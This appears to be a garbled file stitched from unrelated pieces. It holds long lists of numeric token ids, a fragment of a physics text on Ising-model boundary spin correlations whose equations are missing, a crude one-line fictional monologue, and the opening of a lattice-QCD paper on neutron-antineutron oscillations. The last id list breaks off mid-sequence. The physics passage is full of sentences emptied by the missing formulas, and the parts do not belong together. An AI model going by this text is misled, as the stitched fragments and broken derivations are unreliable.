3879, 273, 50275, 28821, 275, 313, 48818, 15, 854, 15, 2945, 481, 844, 452, 3786, 2326, 275, 253, 2714, 2219, 50275, 395, 50275, 3529, 436, 310, 253, 1083, 533, 326, 275, 253, 1083, 273, 50275, 783, 2746, 281, 436, 2701, 310, 8489, 9542, 407, 253, 3361, 273, 2426, 7668, 496, 50276, 15, 187, 187, 1992, 1263, 436, 2701, 275, 253, 2087, 1083, 13, 359, 3877, 883, 326, 323, 1781, 795, 20933, 64, 187, 187, 2811, 323, 776, 3710, 4096, 359, 13280, 760, 253, 806, 767, 2426, 15, 844, 840, 3630, 187, 187, 688, 253, 806, 9909, 13, 359, 3630, 187, 187, 510, 1390, 9909, 310, 273, 253, 1072, 830, 347, 369, 5421, 275, 253, 2714, 1083, 50276, 15, 3308, 187, 187, 2811, 187, 187, 1231, 778, 897, 253, 40955, 273, 32982, 285, 4927, 285, 4044, 187, 187, 1909, 3264, 13, 672, 50275, 783, 1307, 3907, 273, 795, 47, 64, 18726, 342, 313, 48818, 15, 25, 15, 2945, 481, 187, 187, 9, 795, 67, 64, 2387, 50276, 13, 795, 10227, 64, 8611, 243, 470, 187, 187, 510, 954, 11555, 4735, 273, 313, 20, 15, 1423, 10, 310, 697 ]

5 to find where the only properties of _A k_ and _B k_ we need are and, as _δ_ → − _n_, Using these approximations we find where the coefficients _M_ ( _k_ ) with _k_ ≤ 2( _n_ − 1) are analytic in _δ_ for Note that the coefficient of has a pole at _δ_ = − _n_ and the coefficient of has a pole at . We may now lift the restriction (2.62) by letting _δ_ → − _n_ to obtain and we may lift restriction (2.61) by letting to obtain Therefore, not only does fail to be analytic at because of the presence of terms proportional to sgn but does not exist if . In particular, the zero-field susceptibility does not exist if . ( _D_ ) Near Zero, _δ_ = 0 It remains to study the case _δ_ = 0. The previous approximations fail in this case because neglected terms of order become important. From (2.24) we have As before, values of _ϕ_ > _ε_ contribute only to a Taylor series in odd powers of . When _ϕ_ ~ 0 we approximate6 where _γ_ ~ 0.577216 is Euler's constant and Then using (2.31) and (2.32) we may approximate Because we may expand Then we may obtain the leading terms in the approximation by interchanging orders of integration and replacing the upper limit of the _α_ integration by ∞, to obtain where7 Clearly (2.76) vanishes more slowly than any fractional power of as and is therefore not of the form (1.14 _c_ ) which is parameterized by the "critical exponent" _δ_. 3.AVERAGE SPIN-SPIN CORRELATION FUNCTIONS There are, of course, many distinct spin-spin correlation functions for two spins near the boundary of our half-plane of Ising spins, and we will confine our interest to the special case when both spins are in the boundary row 1. We then use the formalism of Chapter VII and find that for any lattice in our collection where, from Sec. 2 with , and, using an argument similar to that of Sec. 2, and The first term in (3.1) is recognized as . We are interested only in the limit of (3.1). In discussing it is immaterial whether we let before or after . For convenience, let first.8 Then it is easily seen that, for . Therefore, the first two terms in (3.1) vanish as . Furthermore, if _m_ ≠ 0, so we conclude that for any collection of energies { _E_ 2} This is to be averaged over { _E_ 2} in the limit and we find To study the leading term of (3.5) when _δ_ = _O_ (1), we make the substitutions (2.16), (2.18), and (2.19). We also define As before, we consider the contributions to the 0 integral from 0 < _θ_ < _N_ −2 and _θ_ > _N_ −2 separately. The contribution from _θ_ > _N_ −2 is, to lowest order in _N_, independent of _δ_ and depends only on _m_. Therefore, we have where _f_ ( _m_ ) is the contribution to _A_ −1(1, 0; 1, _m_ ) _DD_ from _ϕ_ > _N_ −2. The _N_ 2 dependence of the integral in (3.7) is made explicit by using (2.22) to find for large _ϕ_ that Therefore if we add and subtract 1 in the _ϕ_ integral we may extend the upper limit of integration to infinity and obtain where The function may be made explicit by exploiting the fact that it is independent of _δ_. Therefore, may be computed by considering | _δ_ | ~ _N_ 2 and requiring that the term in which is independent of _N_ agree either with the leading term of the _T_ → _T c_ limit of expansions (VII.5.29) or (VII.6.11) of , which are valid for _m_ | _T_ − _T c_| » 1, or with the leading term of the _t_ → ∞ ( _t_ ′ → ∞) behavior of given by expansions (VII.8.41) or (VII.8.42), which are valid for _m_ | _T_ − _T c_| = _O_ (1). We do not expect to be able to reproduce more than the first term that depends on _m_ of the expansion because the approximation (3.9) neglects all terms of order _O_ ( _N_ −2). We carry this out by substituting from (2.20) in (3.9) and using (2.48) to find When | _δ_ | → ∞ we use the asymptotic expansion (2.49) and obtain Since and we explicitly find The first two terms in this expansion do not depend on _N_ when | _δ_ | ~ _N_ 2, and they agree with the leading term of (VII.8.40) when _T_ > _T c_ and with the first two terms of (VII.8.40) when _T_ < _T c_. Therefore we conclude that To analyze further it is useful to rewrite (3.11). First note that, since we have In the first (second) integral, we may deform the contour of integration to the positive (negative) imaginary ϕ-axis. Then we may use the relation9 where _J_ | _δ_ |( _ξ_ ) and _Y_ | _δ_ |( _ξ_ ) are the Bessel functions of the first and second kind which are defined as and Thus we obtain the desired result In this form, it is clear that where the last equation may be obtained from (2.38). This is exactly the value that is obtained in the Onsager lattice. This contrasts strongly with the value of obtained in Sec. 2 and is a vivid demonstration of the fact that is not a probability 1 object. In general, cannot be expressed in terms of tabulated functions. When or , however, more simplification is possible. (i) In this case and we find This is precisely equal to the leading term of the _T_ = _T c_, expansion of for large _m_ given by (VII.8.42). Furthermore, this approaches its limit as . But since _T_ ≠ _T c_, this slow algebraic approach to the limit contrasts dramatically with the exponential approach to the limit exhibited by , and assumed by the "critical exponent" description of correlation functions discussed in the introduction. (ii) In this case and we find Let and find where Ci and si are the sine and cosine integrals defined by (VII.8.50) and (VII.8.51). When is small we may use the expansion10 of Ci and si to write This is clearly not _equal_ to the leading term of the _T_ = _T c_, expansion of given in Chapter VII, but it _approaches_ it as . When is large, we have the asymptotic expansion Again we see that the approach to the limit is algebraic rather than exponential. With the orientation provided by these two special cases, we turn to the general case and study the most interesting limiting cases of (3.22): ( _a_ ) _δ_ fixed, ; ( _b_ ) _δ_ ≠ 0 fixed, ; and ( _c_ ) _δ_ = 0, . ( _a_ ) _δ_ fixed, In this case, we expect to make contact with Chapter VII. In particular, we expect that when the term independent of _N_ should agree with the _T_ = _T c_, _m_ → ∞ behavior of given in (VII. 8.42). We have previously seen in the special cases and that this is the case but that in the case of the approach to this limit is somewhat complicated by the presence of terms involving In . To study this limit in the general case, we note11 that for large _ξ_ where for our limited purpose we retain only the first two terms. We then write In the first integral, we write The last integral is of the same form as was studied in the special case . Thus where We may use the expansions of Ci and si and obtain As expected, when the term independent of _N_ agrees with (VII.8.42). ( _b_ ) , _δ_ ≠ 0 The most unusual feature of (3.22) is its

[ 8799, 27, 28160, 273, 13740, 257, 13, 619, 1121, 316, 32, 9870, 13, 642, 19600, 310, 1469, 281, 1379, 479, 10369, 342, 247, 4060, 751, 326, 13, 5734, 309, 452, 247, 4248, 432, 12835, 27709, 15, 1893, 1339, 457, 84, 513, 436, 13, 984, 5010, 619, 1495, 556, 644, 247, 3426, 8138, 273, 673, 15, 1737, 2010, 513, 309, 452, 13, 1663, 32, 3808, 4491, 16620, 32, 3808, 32297, 16258, 32, 8874, 311, 3355, 275, 42631, 14963, 32, 45734, 1417, 15, 1583, 403, 45069, 40981, 264, 2439, 253, 2614, 285, 15447, 273, 247, 5948, 326, 13, 751, 479, 13, 310, 2080, 625, 685, 752, 352, 4620, 281, 320, 15, 1532, 187, 7582, 27, 187, 14, 1040, 187, 50274, 5180, 18, 62, 27075, 19, 1092, 11007, 3697, 287, 16478, 13, 10092, 12349, 358, 61, 187, 50274, 35227, 13416, 9966, 366, 13, 18682, 17687, 3062, 3313, 18196, 61, 187, 50274, 45, 2373, 3062, 13, 5002, 898, 1857, 1235, 13, 5106, 61, 187, 50274, 38, 14, 5719, 27, 187, 5564, 27, 686, 6560, 307, 1406, 14, 31404, 307, 1406, 22957, 327, 253, 10979, 8, 187, 1532, 187, 187, 7679, 6078, 212, 37292, 23022, 3015, 187, 187, 16622, 18, 187, 187, 16622, 18, 14598, 1035, 41447, 18, 3851, 9899, 187, 187, 14214, 187, 7770, 187, 187, 4041, 440, 42195, 16909, 273, 253, 10325, 310, 253, 1232, 326, 3977, 281, 253, 11921, 273, 2540, 28556, 790, 347, 2429, 281, 616, 4042, 552, 251, 21421, 15, 380, 2603, 273, 436, 46623, 1180, 8411, 13, 534, 310, 3264, 281, 1705, 432, 4457, 253, 12144, 10031, 313, 4449, 46, 10, 12057, 13, 476, 320, 8156, 275, 1698, 14, 14115, 4870, 824, 347, 19025, 10027, 313, 338, 46623, 1180, 310, 13588, 407, 337, 3943, 10, 390, 16307, 875, 5205, 9036, 285, 1331, 460, 307, 9036, 313, 338, 46623, 1180, 310, 13588, 407, 374, 5085, 481, 380, 6158, 1083, 13, 2223, 6289, 281, 347, 21604, 14, 31404, 307, 1406, 28088, 313, 28709, 281, 9238, 41341, 12480, 582, 19539, 281, 320, 271, 27807, 10076, 672, 7296, 253, 7312, 256, 13203, 16259, 5406, 273, 28556, 2646, 261, 261, 313, 4609, 28096, 46623, 1180, 13, 370, 35, 1366, 285, 45625, 1180, 13, 370, 45, 1366, 533, 6405, 265, 370, 35, 14, 45, 7884, 9904, 342, 11432, 3230, 38277, 1008, 48598, 522, 29628, 27, 16134, 82, 70, 62, 313, 39374, 5502, 875, 38277, 285, 1331, 460, 307, 34573, 5644, 281, 669, 3442, 418, 426, 374, 14553, 9157, 13, 21604, 14, 31404, 307, 1406, 22957, 513, 417, 11089, 432, 44062, 10476, 621, 326, 476, 4656, 19025, 10027, 604, 627, 310, 1652, 14787, 342, 253, 3302, 1375, 19025, 285, 2457, 1375, 6488, 390, 12910, 251, 1008, 47, 1316, 249, 729, 27, 8971, 13041, 1570, 1916, 326, 990, 13, 21604, 14, 31404, 307, 1406, 22957, 452, 644, 14859, 21657, 342, 27807, 22087, 323, 669, 1588, 92, 48, 1603, 9138, 1009, 11701, 275, 15146, 5661, 6031, 1008, 1845, 75, 64, 57, 1570, 187, 187, 6693, 5955, 273, 21604, 14, 31404, 307, 1406, 22957, 7866, 342, 7384, 253, 6242, 273, 690, 378, 6955, 1232, 326, 5644, 281, 247, 669, 3442, 378, 426, 374, 5, 5572, 275, 253, 1698, 14, 14115, 3576, 1673, 3762, 15, 831, 5572, 588, 1421, 281, 745, 14, 41758, 3603, 273, 253, 14342, 273, 253, 21604, 14, 31404, 307, 1406, 985, 1764, 2043, 92, 2132, 94, 187, 41, 426, 393, 2043, 92, 14336, 94, 444, 64, 79, 708, 393, 3005, 278, 3202, 393, 3005, 278, 708, 444, 1126, 2009, 92, 79, 599, 393, 423, 92, 14336, 7628, 2043, 92, 14336, 94, 444, 12, 55, 708, 393, 3005, 278, 3202, 393, 3005, 278, 708, 444, 14, 55, 393, 423, 92, 14336, 5548, 423, 92, 2132, 2138, 835, 370, 55, 5, 310, 253, 2442, 3064, 875, 253, 21604, 285, 253, 1331, 460, 307, 1406, 313, 66, 5212, 1673, 476, 1421, 281, 247, 1327, 14, 10528, 370, 55, 5, 1580, 253, 5212, 9506, 452, 7285, 7871, 10, 285, 370, 55, 30, 17, 5, 275, 247, 1959, 985, 15, 15797, 16161, 253, 40598, 5150, 323, 253, 985, 13, 581, 9010, 253, 5502, 5912, 875, 5205, 9036, 285, 1331, 460, 307, 9036, 1677, 407, 3318, 49, 578, 79, 61, 4287, 393, 2009, 92, 79, 4935, 85, 10, 426, 393, 1124, 464, 3005, 278, 63, 19, 2704, 3005, 278, 63, 19, 559, 657, 63, 19, 889, 7432, 63, 19, 61, 5178, 5709, 2609, 464, 3005, 278, 63, 19, 559, 657, 63, 19, 94, 393, 246, 393, 5178, 44524, 3900, 436, 5150, 310, 2032, 323, 247, 1677, 370, 55, 1366, 352, 310, 2629, 281, 4853, 253, 2180, 273, 1959, 21604, 22957, 1955, 281, 253, 378, 6955, 12057, 347, 1764, 3115, 578, 79, 61, 4862, 92, 79, 599, 426, 393, 1124, 92, 18, 2704, 3005, 278, 10878, 380, 1318, 323, 669, 3115, 578, 79, 61, 4862, 92, 79, 4018, 10260, 7024, 327, 534, 378, 6955, 10076, 310, 1146, 14859, 15, 733, 556, 644, 5998, 326, 247, 3033, 273, 669, 3115, 578, 79, 61, 4862, 92, 79, 599, 393, 41908, 884, 768, 740, 5960, 740, 768, 883, 889, 50276, 61, 1156, 92, 30544, 724, 310, 4209, 281, 4086, 562, 1142, 273, 253, 1655, 3210, 683, 48598, 522, 29628, 27, 7857, 16471, 1570, 1198, 1650, 13, 39784, 14, 7527, 11403, 1403, 6297, 323, 23463, 11843, 275, 370, 6971, 9, 19, 11824, 45, 393, 3181, 9242, 9, 19, 11824, 51, 393, 3181, 9242, 9, 21, 11824, 68, 5, 403, 3264, 281, 320, 12969, 562, 387, 669, 3115, 578, 79, 61, 4862, 92, 79, 599, 393, 41908, 884, 768, 740, 5960, 740, 768, 883, 889, 50276, 61, 1156, 92, 30544, 724, 1008, 49903, 86, 27, 8012, 42496, 2194, 285, 370, 8683, 9, 740, 1009, 11403, 1403, 6297, 342, 10599, 28556, 2646, 261, 261, 13, 387, 669, 3115, 578, 79, 61, 4862, 92, 79, 599, 393, 41908, 884, 768, 26, 5960, 740, 768, 805, 889, 50276, 61, 1156, 92, 30544, 724, 1008, 49903, 86, 27, 6755, 377, 1570, 11604, 5661, 7787, 476, 1014, 4656, 4465, 14, 6967, 3210, 342, 747, 6353, 342, 11843, 2708, 247, 39784, 1008, 47, 1316, 249, 729, 27, 8971, 13041, 28, 1214, 56, 968, 676, 27, 7199, 48808, 1570, 733, 943, 320, 21947, 326, 841, 403, 1340, 273, 9777, 8197, 342, 253, 27977, 3280, 3551, 432, 36060, 15759, 1783, 15, 15574, 8197, 588, 2430, 26565, 285, 10799, 10979, 10426, 281, 1978, 13870, 342, 5661, 12320, 15, 187, 187, 510, 5481, 5122, 323, 841, 16307, 310, 253, 5412, 37290, 273, 247, 9841, 4447, 1331, 460, 307, 1406, 342, 247, 10151, 21604, 313, 1542, 625, 4278, 13, 923, 411, 15, 353, 15, 18724, 457, 84, 499, 35634, 387, 367, 57, 3299, 4050, 1008, 1845, 75, 64, 57, 2498, 380, 3625, 5048, 323, 436, 5412, 37290, 310, 370, 79, 61, 4862, 92, 79, 94, 393, 4287, 608, 61, 2059, 1366, 285, 436, 4451, 11118, 4483, 323, 5661, 6298, 342, 1652, 390, 642, 4114, 15, 21910, 13, 627, 403, 767, 5239, 273, 5661, 17891, 15, 380, 806, 13, 534, 3249, 323, 1959, 342, 1781, 19025, 10027, 25421, 824, 347, 6053, 14, 44, 13, 310, 1754, 327, 21604, 14, 31404, 307, 1406, 37290, 1561, 15935, 15, 6897, 12589, 87, 600, 13, 581, 1537, 1902, 436, 281, 2826, 3240, 7208, 13, 347, 253, 1180, 273, 15935, 2080, 23141, 253, 3264, 3033, 669, 3115, 578, 79, 61, 4862, 92, 79, 599, 393, 41908, 884, 768, 883, 39478, 2299, 13, 253, 28088, 2180, 1561, 15935, 310, 4122, 16013, 13, 342, 247, 9777, 273, 11467, 1008, 48259, 1342, 27, 8012, 265, 62, 1764, 3115, 578, 47, 13340, 34465, 20, 393, 3181, 884, 768, 1423, 8395, 1124, 464, 3115, 578, 79, 61, 4862, 92, 79, 7294, 19, 2704, 1156, 92, 1704, 32964, 1284, 247, 906, 13, 253, 3033, 310, 16013, 2429, 281, 253, 1959, 15355, 13, 285, 581, 1364, 10725, 327, 1566, 3311, 569, 285, 26480, 311, 569, 281, 4908, 352, 15, 1916, 3522, 13, 253, 954, 32881, 3033, 432, 4679, 273, 436, 2238, 13, 669, 3115, 578, 79, 393, 4862, 92, 79, 599, 2239, 495, 15, 22, 393, 3181, 884, 63, 25, 393, 393, 1156, 92, 30544, 3303, 3249, 432, 6053, 14, 44, 313, 7330, 10, 1008, 15705, 14, 44, 1570, 187, 187, 510, 1273, 1511, 273, 3368, 33826, 253, 37290, 273, 1959, 13, 5412, 5205, 9036, 342, 247, 2303, 846, 247, 1534, 673, 273, 8630, 15, 831, 1511, 273, 3368, 310, 1959, 273, 253, 1566, 14, 6820, 3311, 569, 2424, 323, 26262, 300, 569, 1561, 15935, 285, 4483, 323, 3687, 1453, 273, 985, 29126, 15, 1916, 3522, 13, 253, 954, 32881, 3033, 3249, 432, 253, 309, 2293, 3368, 313, 13549, 2262, 669, 3115, 578, 79, 393, 4862, 92, 79, 599, 2239, 470, 15, 2691, 393, 3181, 884, 63, 25, 393, 393, 1156, 92, 30544, 724, 1008, 24774, 3088, 27681, 15141, 27, 13034, 75, 91, 1570, 329, 2803, 273, 669, 1588, 92, 48, 1603, 9138, 1009, 2572, 310, 5998, 323, 2852, 4679, 273, 436, 2238, 13, 533, 253, 14493, 281, 4086, 562, 2710, 378, 6955, 11813, 812, 320, 12059, 3012, 7293, 327, 27977, 14314, 390, 14523, 273, 253, 21604, 14, 31404, 307, 1406, 4315, 3603, 15, 187, 187, 48, 9477, 569, 285, 4315, 3603, 187, 4578, 187, 187, 510, 2540, 1318, 273, 253, 12480, 15877, 432, 1264, 14800, 1764, 1124, 92, 18, 2704, 3115, 578, 79, 61, 4862, 92, 79, 6092, 2029, 3005, 278, 426, 260, 578, 4449, 46, 3713, 1906, 578, 4449, 46, 5548, 1906, 64, 56, 10, 68, 578, 50, 3717, 3713, 1906, 64, 56, 1337, 5764, 578, 50, 3717, 2311, 393, 4841, 393, 4862, 92, 79, 8589, 393, 1588, 92, 48, 94, 1040, 295, 393, 3799, 11227, 835, 370, 68, 578, 4449, 46, 724, 310, 253, 3515, 273, 253, 378, 6955, 3762, 281, 253, 5075, 5016, 4311, 13, 370, 68, 578, 50, 3717, 94, 370, 310, 253, 27977, 3515, 432, 253, 5075, 281, 253, 6069, 4311, 13, 285, 669, 4841, 393, 4862, 92, 79, 8589, 393, 1588, 92, 48, 94, 1040, 295, 393, 3799, 5, 310, 253, 1327, 14, 44931, 800, 4315, 3284, 12480, 253, 21604, 285, 1331, 460, 307, 1406, 3054, 15, 380, 581, 14, 14075, 43939, 27977, 3515, 13, 370, 68, 578, 50, 3717, 3303, 310, 1929, 1008, 56, 968, 676, 27, 7199, 48808, 28, 1214, 48, 8260, 27, 17103, 82, 73, 1092, 285, 370, 68, 578, 4449, 46, 724, 556, 644, 5118, 323, 2709, 11813, 1008, 47, 1316, 249, 729, 27, 8971, 13041, 28, 1214, 49903, 86, 27, 8012, 42496, 28, 1214, 49903, 86, 27, 6755, 377, 28, 1214, 56, 968, 676, 27, 7199, 48808, 1570, 380, 5572, 669, 1588, 92, 48, 724, 4428, 767, 598, 35608, 285, 1740, 1066, 35608, 285, 310, 9924, 273, 1264, 8557, 273, 35608, 432, 253, 1896, 4948, 3318, 86, 63, 53, 330, 1484, 393, 3362, 1157, 393, 3362, 1484, 63, 53, 330, 277, 393, 3362, 1157, 393, 3362, 277, 63, 53, 330, 277, 393, 3362, 11227, 835, 370, 36, 5, 310, 253, 4179, 39778, 4315, 15, 9157, 13, 841, 2426, 1900, 1705, 275, 22926, 8557, 13, 3318, 86, 63, 53, 64, 45, 330, 277, 64, 45, 393, 3362, 1157, 393, 3362, 1484, 63, 53, 64, 51, 330, 277, 64, 51, 393, 3362, 11227, 1580, 253, 6804, 36494, 1319, 2426, 403, 5058, 15, 36562, 13, 841, 9158, 403, 13727, 762, 3295, 10377, 13, 370, 6971, 9, 20, 11824, 68, 1366, 534, 5644, 281, 767, 3295, 47454, 1764, 2043, 92, 2132, 94, 187, 61, 4220, 768, 84, 2026, 1944, 7261, 16192, 94, 15638, 393, 4259, 578, 78, 1479, 889, 4259, 578, 79, 40031, 9213, 4259, 578, 16825, 889, 4259, 578, 78, 40031, 9213, 4259, 578, 78, 17443, 889, 4259, 578, 18789, 9213, 4259, 578, 79, 17443, 889, 4259, 578, 22009, 94, 19049, 3362, 61, 4220, 768, 66, 2026, 1944, 7261, 16192, 4203, 393, 4259, 578, 78, 1944, 889, 4259, 578, 79, 7261, 9213, 4259, 578, 79, 1944, 889, 4259, 578, 78, 7261, 5548, 423, 92, 2132, 2138, 835, 370, 74, 13, 75, 13, 76, 13, 77, 13, 78, 13, 79, 5, 403, 3295, 14452, 15, 2053, 1264, 2515, 1421, 281, 1264, 3510, 273, 9158, 1008, 51, 8500, 27, 17103, 7332, 5218, 1764, 2043, 92, 2132, 94, 187, 61, 1588, 92, 48, 2306, 18, 1126, 4635, 64, 18, 61, 4635, 64, 19, 61, 4635, 64, 20, 94, 15638, 9, 86, 578, 74, 61, 4635, 64, 18, 1990, 53, 94, 330, 1484, 578, 75, 61, 4635, 64, 18, 34227, 69, 578, 76, 61, 4635, 64 ]

Wall: Rivers of Semen, my opus? Look, no publisher is going to take me seriously with a title like that, unless I have a degree from fucking Yale. So let’s do this, because otherwise my life has been a complete waste of time. What else do I have, really? Some industry awards? Some platinum albums? Accolades in Rolling Stone? Meaningless. They are decorations draped across the blood and flesh of a society that, like me, is far more than what it appears to be.--- author: - | [^1] [^2], Chris Schroeder, Joseph Wasem\ Physical Sciences Directorate, Lawrence Livermore National Laboratory\ Livermore, California 94550, USA\ E-mail: title: 'Neutron-antineutron oscillations on the lattice' --- ł Ł ø Ø § \#1 \#1[[(\[\#1\])]{}]{} Introduction ============ One unanswered mystery of the universe is the process that led to the abundance of observed baryons as compared to their antibaryon counterparts. The source of this baryon number violation, which is expected to come from beyond the Standard Model (BSM) physics, can be realized in low-energy processes such as proton decay (if baryon number is violated by 1 unit) or transitions between neutrons and antineutrons (if baryon number is violated by 2 units). The latter case, often referred to as neutron-antineutron oscillation (akin to neutral meson mixing), proves to be an intriguing scenario when considering the usual sphaleron picture of baryogenisis (which violates baryon number, $B$, and lepton number, $L$, but conserves $B-L$) coupled with Majorana neutrinos [@Mohapatra:1980qe] (whose transition between neutrinos and antineutrinos leads to $\Delta L = 2$). Additionally, neutron-antineutron oscillations do not suffer from kinematic suppressions that can restrict proton decay if there is little overlap with the initial state proton and final state electron or muon [@Nussinov:2001rb]. To that end, neutron-antineutron oscillations have been explored experimentally with intriguing prospects for $\mathcal{O}(1000)$ improvements in upcoming experimental efforts [@Proj_X]. Any discussion of neutron-antineutron oscillations starts with assuming the existence of some BSM process that leads to a $\Delta B = 2$ operator in the low-energy effective field theory. This operator will lead to off-diagonal elements of the Hamiltonian of the neutron-antineutron system $$\begin{aligned} H = \begin{pmatrix} E_n & \delta m \\ \delta m & E_{\bar{n}} \end{pmatrix}=\begin{pmatrix} E+V & \delta m \\ \delta m & E-V \end{pmatrix},\end{aligned}$$ where $V$ is the potential difference between the neutron and the antineutron (a magnetic field can lead to a non-zero $V$ since the magnetic moments have opposite signs) and $V=0$ in a free system. Upon solving the Schrödinger equation for the system, one finds the transition probability between neutrons and antineutrons given by $$P_{n\rightarrow \bar{n}}(t) = \frac{\delta m^2}{\delta m^2 + V^2}\sin^2\Big[\sqrt{\delta m^2 + V^2} \ t \Big].$$ While this equation is true for a given $V$, it is standard to define the period of free neutron oscillations due to the BSM physics as $$\tau_{n\overline{n}} = \frac{1}{\delta m}.$$ The value for $\tau_{n\overline{n}}$ greatly depends on which BSM scenario is being explored. It has been estimated that a bound of $\tau_{n\overline{n}} \gtrsim 10^{10}-10^{11}\ \text{seconds}$ is sufficient to rule out many of the current models[@Mohapatra:2009wp]. For example, TeV-scale seesaw mechanisms for neutrino masses in $SU(2)_L \times SU(2)_R \times SU(4)_c$ are expected to be ruled out at $\tau_{n\overline{n}} \gtrsim 10^{10}-10^{11}\ \text{seconds}$ [@Babu:2008rq]; and $SO(10)$ seesaw mechanisms with adequate baryogenisis, at $\tau_{n\overline{n}} \gtrsim 10^{9}-10^{12}\ \text{seconds}$ [@Babu:2012pp]. Current experimental limits can even restrict extra-dimensional models with new particles with masses below a TeV [@Nussinov:2001rb; @Winslow:2010wf]. It should be emphasized that these are order of magnitude estimates with the QCD input coming from naïve dimensional analysis. Future estimates will require rigorous and precise lattice calculations to keep pace with experimental precision. The detection mechanism for these transitions is the cold annihilation of a newly formed antineutron with a nearby neutron (for more details, see W. M. Snow’s plenary at PXPS 2012 [@Proj_X]). The primary channel for this cold annihilation is $n\overline{n} \rightarrow 5\pi$, and this unique signature allows for experimental signals with little or no background. Generally, there are two sets of experimental searches. The first, which comes for free with large proton decay detectors such as Super-K, is based on neutron-antineutron annihilation within nuclei. Naïvely, one might expect this to occur quite frequently, as the number of nuclei far exceeds the expected bound $\tau_{n\overline{n}} \gtrsim 10^{11}$; however, the oscillation period within nuclei is highly suppressed, with a magnitude of roughly [@Friedman:2008es] $$\tau_{Nucl}=(3 \times 10^{22})\frac{\tau_{n\overline{n}}^2}{\text{sec}}.$$ As a result, the bound is suppressed compared to the free expectation, and one must rely on model estimations and extrapolations to extract it. To date, the most stringent bound from experiments of this kind, $\tau_{n \overline{n}} > 3.5 \times 10^8 \ \text{seconds}$, comes from Super-K (2011) [@Super-K]. The second type of experiment explores the annihilation of free, cold neutrons with a target after a significant time of flight. This type of experiment is free of the model-dependent estimations required for annihilations within nuclei and allows for greater control of systematics. To date, the most stringent bound comes from the ILL experiment (1993): $\tau_{n \overline{n}} > 0.86 \times 10^8 \ \text{seconds}$ [@BaldoCeolin:1994jz]. A factor of $\mathcal{O}(1000)$ increase is estimated for future experiments of this kind, but the bounds to rule out various BSM theories could be altered significantly depending on QCD enhancement or suppression of the neutron-antineutron matrix elements. Oscillations and matrix elements ================================ The observed value of the mixing arises from three inputs $$\frac{1}{\tau_{n\overline{n}}}=\delta m = c_{BSM}(\mu_{BSM},\mu_W)c_{QCD}(\mu_W,\Lambda_{QCD}) \langle \overline{n}| \mathcal{O} | n \rangle,$$ where $c_{BSM}$ is the running of the BSM theory to the weak interaction scale, $c_{QCD} $ is the QCD running from the weak to the nuclear scale, and $\langle \overline{n}| \mathcal{O} | n \rangle$ is the non-perturbative matrix element mixing the neutron and antineutron states. The one-loop perturbative QCD running, $c_{QCD}$, is known [@Winslow:2010wf; @Ozer:1982qh], and $c_{BSM}$ has been calculated for multiple theories [@Nussinov:2001rb; @Babu:2008rq; @Babu:2012pp; @Winslow:2010wf]. The operator $\mathcal{O}$ contains two up quarks and four down quarks and is composed of three pairs of quarks from the possible forms $$u^T C u \quad, \quad u^T C d \quad, \quad d^T C d \quad,$$ where $C$ is the charge conjugation matrix. Additionally, these terms always come in chiral pairs, $$u^T_L C d_L \quad, \quad u^T_R C d_R \quad,$$ since the mixed chirality terms are zero. Lastly, these operators are invariant under color symmetry, $SU(3)_c$, which leads to two color tensors $$\begin{aligned} \Gamma^{s}_{ijklmn}&=& \epsilon_{mik}\epsilon_{njl}+\epsilon_{nik}\epsilon_{mjl}+\epsilon_{mjk}\epsilon_{nil}+\epsilon_{njk}\epsilon_{mil},\quad\Gamma^{a}_{ijklmn}= \epsilon_{mij}\epsilon_{nkl}+\epsilon_{nij}\epsilon_{mkl},\end{aligned}$$ where $i,j,k,l,m,n$ are color indices. These three conditions lead to three types of operators [@Rao:1982gt]: $$\begin{aligned} \mathcal{O}^1_{\chi_1\chi_2\chi_3}&=&(u_{i\chi_1}^{T} C u_{j\chi_1})(d_{k\chi_

[ 1475, 253, 4370, 5603, 3063, 2866, 187, 187, 1989, 2139, 403, 597, 594, 4633, 32, 187, 187, 3378, 1046, 2165, 273, 20279, 634, 16597, 7120, 13, 1046, 29644, 281, 616, 2739, 11636, 13, 285, 1046, 1408, 275, 253, 5603, 634, 4370, 457, 84, 22136, 403, 3192, 247, 18019, 15, 187, 187, 1552, 12516, 3473, 285, 3490, 327, 776, 16597, 457, 84, 22136, 534, 689, 673, 476, 2847, 27939, 285, 28153, 273, 616, 22136, 15, 496, 1635, 281, 326, 13, 634, 16597, 457, 84, 22136, 812, 2454, 2866, 187, 187, 47212, 10696, 285, 10741, 10332, 187, 187, 3251, 3764, 3075, 285, 25699, 275, 285, 1475, 22136, 187, 187, 1145, 2559, 2495, 273, 49000, 44483, 187, 187, 6506, 13, 309, 5082, 457, 85, 971, 667, 273, 1110, 1841, 323, 619, 1499, 706, 14907, 378, 3269, 1512, 2866, 187, 187, 47212, 26434, 323, 9097, 403, 10607, 342, 3290, 12696, 326, 417, 760, 1361, 33623, 3075, 533, 1361, 1973, 6036, 25548, 534, 4056, 49966, 616, 22136, 15, 2053, 402, 793, 403, 247, 1270, 1039, 281, 1361, 667, 4370, 755, 896, 253, 591, 76, 275, 616, 2940, 285, 3153, 247, 6036, 3075, 1959, 1495, 15, 187, 187, 510, 7967, 3219, 10615, 11376, 23106, 6023, 9115, 323, 40938, 187, 187, 42, 457, 78, 417, 2119, 604, 368, 457, 250, 4704, 323, 436, 2866, 187, 187, 1552, 310, 1633, 326, 253, 2644, 4370, 1533, 556, 644, 41453, 342, 1580, 253, 3332, 6054, 275, 6036, 26434, 323, 9097, 2866, 187, 187, 510, 5962, 7027, 670, 6036, 26434, 323, 9097, 310, 326, 597, 403, 35310, 323, 1711, 285, 8334, 9097, 2, 187, 187, 33814, 2, 187, 187, 24243, 13, 326, 9193, 1175, 281, 755, 745, 619, 9081, 15, 3954, 23448, 4413, 326, 5580, 6036, 26434, 323, 9097, 403, 7746, 1046, 4370, 2885, 326, 604, 634, 298, 300, 401, 7112, 310, 2168, 275, 6036, 3075, 840, 597, 840, 943, 1265, 3192, 6036, 26434, 15, 4825, 14701, 327, 253, 773, 5478, 1425, 187, 187, 510, 1682, 16498, 323, 634, 4370, 457, 84, 6036, 3075, 310, 281, 3523, 352, 1078, 352, 1014, 6569, 2, 187, 187, 2773, 457, 84, 2139, 1046, 4370, 2885, 943, 320, 4933, 616, 6652, 494, 13, 4373, 4507, 13, 285, 42742, 11829, 4023, 6036, 26434, 4768, 616, 1495, 3185, 273, 4983, 672, 597, 403, 253, 4723, 310, 2168, 2218, 2, 313, 33768, 347, 247, 2872, 16597, 13724, 187, 187, 17126, 832, 953, 273, 28396, 15643, 187, 187, 3378, 1046, 6923, 13, 26376, 13, 285, 29644, 634, 4370, 2184, 310, 8133, 247, 5699, 